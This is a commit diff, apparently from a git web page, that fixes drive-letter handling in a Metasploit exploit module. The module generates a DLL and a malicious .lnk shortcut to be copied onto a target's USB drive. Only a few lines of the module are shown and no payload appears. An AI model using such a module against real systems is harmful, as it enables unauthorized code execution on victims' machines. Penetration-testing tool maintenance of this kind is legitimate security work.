handle drive letters specified like E: nicely
parent
a12f3c4c23
commit
b62429f6fa
|
@ -85,7 +85,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
print_status("#{dll_path} created, copy it to the root folder of the target USB drive")
|
||||
|
||||
if datastore['DRIVE']
|
||||
lnk = generate_link("#{datastore['DRIVE']}:\\#{dll_name}")
|
||||
lnk = generate_link("#{datastore['DRIVE'].split(':')[0]}:\\#{dll_name}")
|
||||
lnk_filename = datastore['FILENAME'] || "#{rand_text_alpha(16)}.lnk"
|
||||
lnk_path = store_file(lnk, lnk_filename)
|
||||
print_status("#{lnk_path} created, copy to the target USB drive")
|
||||
|
|
Loading…
Reference in New Issue